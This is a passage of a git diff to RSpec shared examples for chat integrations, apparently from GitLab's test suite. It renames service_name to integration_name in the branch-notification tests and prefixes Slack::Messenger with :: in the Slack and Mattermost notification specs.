- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default_and_protected"
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default_and_protected"
end
context "when all branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all"
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all"
end
end
@@ -317,19 +317,19 @@ RSpec.shared_examples "chat service" do |service_name|
end
context "when only default branch are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default"
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default"
end
context "when only protected branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "protected"
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "protected"
end
context "when default and protected branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default_and_protected"
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default_and_protected"
end
context "when all branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all"
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all"
end
end
@@ -339,19 +339,19 @@ RSpec.shared_examples "chat service" do |service_name|
end
context "when only default branch are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default"
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default"
end
context "when only protected branches are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "protected"
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "protected"
end
context "when default and protected branches are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default_and_protected"
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default_and_protected"
end
context "when all branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all"
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all"
end
end
end
diff --git a/spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb b/spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb
index 09b7d1be704..ddcf693db7e 100644
--- a/spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb
+++ b/spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb
@@ -81,7 +81,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
shared_examples 'calls the service API with the event message' do |event_message|
specify do
- expect_next_instance_of(Slack::Messenger) do |messenger|
+ expect_next_instance_of(::Slack::Messenger) do |messenger|
expect(messenger).to receive(:ping).with(event_message, anything).and_call_original
end
@@ -95,7 +95,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
let(:chat_service_params) { { username: 'slack_username' } }
it 'uses the username as an option' do
- expect(Slack::Messenger).to execute_with_options(username: 'slack_username')
+ expect(::Slack::Messenger).to execute_with_options(username: 'slack_username')
execute_service
end
@@ -110,7 +110,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
let(:chat_service_params) { { push_channel: 'random' } }
it 'uses the right channel for push event' do
- expect(Slack::Messenger).to execute_with_options(channel: ['random'])
+ expect(::Slack::Messenger).to execute_with_options(channel: ['random'])
execute_service
end
@@ -136,7 +136,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
let(:chat_service_params) { { issue_channel: 'random' } }
it 'uses the right channel for issue event' do
- expect(Slack::Messenger).to execute_with_options(channel: ['random'])
+ expect(::Slack::Messenger).to execute_with_options(channel: ['random'])
execute_service
end
@@ -147,7 +147,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
end
it 'falls back to issue channel' do
- expect(Slack::Messenger).to execute_with_options(channel: ['random'])
+ expect(::Slack::Messenger).to execute_with_options(channel: ['random'])
execute_service
end
@@ -156,7 +156,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
let(:chat_service_params) { { issue_channel: 'random', confidential_issue_channel: 'confidential' } }
it 'uses the confidential issue channel when it is defined' do
- expect(Slack::Messenger).to execute_with_options(channel: ['confidential'])
+ expect(::Slack::Messenger).to execute_with_options(channel: ['confidential'])
execute_service
end
@@ -175,7 +175,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
let(:chat_service_params) { { merge_request_channel: 'random' } }
it 'uses the right channel for merge request event' do
- expect(Slack::Messenger).to execute_with_options(channel: ['random'])
+ expect(::Slack::Messenger).to execute_with_options(channel: ['random'])
execute_service
end
@@ -192,7 +192,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
let(:chat_service_params) { { wiki_page_channel: 'random' } }
it 'uses the right channel for wiki event' do
- expect(Slack::Messenger).to execute_with_options(channel: ['random'])
+ expect(::Slack::Messenger).to execute_with_options(channel: ['random'])
execute_service
end
@@ -216,7 +216,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
let(:chat_service_params) { { note_channel: 'random' } }
it 'uses the right channel' do
- expect(Slack::Messenger).to execute_with_options(channel: ['random'])
+ expect(::Slack::Messenger).to execute_with_options(channel: ['random'])
execute_service
end
@@ -227,7 +227,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
end
it 'falls back to note channel' do
- expect(Slack::Messenger).to execute_with_options(channel: ['random'])
+ expect(::Slack::Messenger).to execute_with_options(channel: ['random'])
execute_service
end
@@ -236,7 +236,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
let(:chat_service_params) { { note_channel: 'random', confidential_note_channel: 'confidential' } }
it 'uses confidential channel' do
- expect(Slack::Messenger).to execute_with_options(channel: ['confidential'])
+ expect(::Slack::Messenger).to execute_with_options(channel: ['confidential'])
execute_service
end